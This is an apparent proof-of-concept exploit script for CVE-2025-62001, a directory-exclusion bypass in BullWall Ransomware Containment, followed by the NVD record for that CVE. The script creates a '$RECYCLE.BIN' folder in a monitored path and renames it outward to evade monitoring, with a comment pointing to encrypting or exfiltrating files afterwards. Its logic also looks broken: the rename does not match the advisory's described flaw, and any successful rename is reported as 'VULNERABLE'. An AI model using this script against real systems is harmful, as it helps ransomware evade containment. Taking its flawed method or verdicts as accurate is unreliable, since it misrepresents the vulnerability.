CVE-2025-62001

# CVE-2025-62001 PoC - Directory Exclusion Bypass # Target: BullWall Ransomware Containment < 4.6.1.14 or < 5.0.0.42 # Attack Type: Authenticated privilege escalation via directory rename bypass import os import subprocess import time def exploit_cve_2025_62001(): """ Proof of Concept for BullWall Ransomware Containment exclusion bypass Requires: Low-privilege authenticated access """ print("[*] CVE-2025-62001 - BullWall Directory Exclusion Bypass PoC") print("[*] Target: BullWall Ransomware Containment < 4.6.1.14 / 5.0.0.42") # Step 1: Identify monitored directories monitored_paths = [ "C:\\ProtectedData", "C:\\Documents", "C:\\Shares" ] # Step 2: Create directory with exclusion pattern exclusion_pattern = "$RECYCLE.BIN" target_dir = os.path.join(monitored_paths[0], exclusion_pattern) print(f"[+] Creating directory with exclusion pattern: {target_dir}") try: os.makedirs(target_dir, exist_ok=True) except Exception as e: print(f"[-] Failed to create directory: {e}") return False # Step 3: Exploit the exclusion pattern matching flaw # The vulnerability allows renaming directories to bypass monitoring print("[+] Attempting directory rename to bypass monitoring...") # Construct paths that exploit the hardcoded exclusion behavior malicious_dir = os.path.join(monitored_paths[0], "..", "ActualData") try: # This rename operation exploits the exclusion pattern handling # By renaming the directory, monitoring can be avoided os.rename(target_dir, malicious_dir) print(f"[+] Directory renamed successfully: {target_dir} -> {malicious_dir}") print("[+] Monitoring bypassed - directory now outside surveillance scope") # Step 4: Execute malicious operations in unmonitored directory print("[+] Performing malicious operations in bypassed directory...") # In real attack: encrypt files, exfiltrate data, etc. return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62001 Directory Exclusion Bypass Vulnerability") print("="*60) result = exploit_cve_2025_62001() if result: print("\n[!] VULNERABLE - Target is affected by CVE-2025-62001") print("[!] Recommendation: Upgrade to BullWall version 4.6.1.14 or 5.0.0.42") else: print("\n[*] Target may not be vulnerable or exploitation failed")

{"cve": {"id": "CVE-2025-62001", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:53.953", "lastModified": "2026-01-15T20:16:03.913", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Ransomware Containment supports configurable file and directory exclusions such as '$RECYCLE.BIN' to balance monitoring scope and performance. Certain exclusion patterns could allow an authenticated attacker to rename directories in a way that avoids monitoring. Fixed in 4.6.1.14 and 5.0.0.42, which remove hardcoded exclusion behavior and exposes exclusion handling as configurable settings."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-420"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9063E06B-5B57-4202-8925-047445026427"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "96C6A9F2-189B-4DA7-B042-962692E0E8DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "670068FD-1DB4-4CB9-8872-4BA200070926"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "9EED0194-E90E-443A-A33C-DA6EE47B2DD9"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62001", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}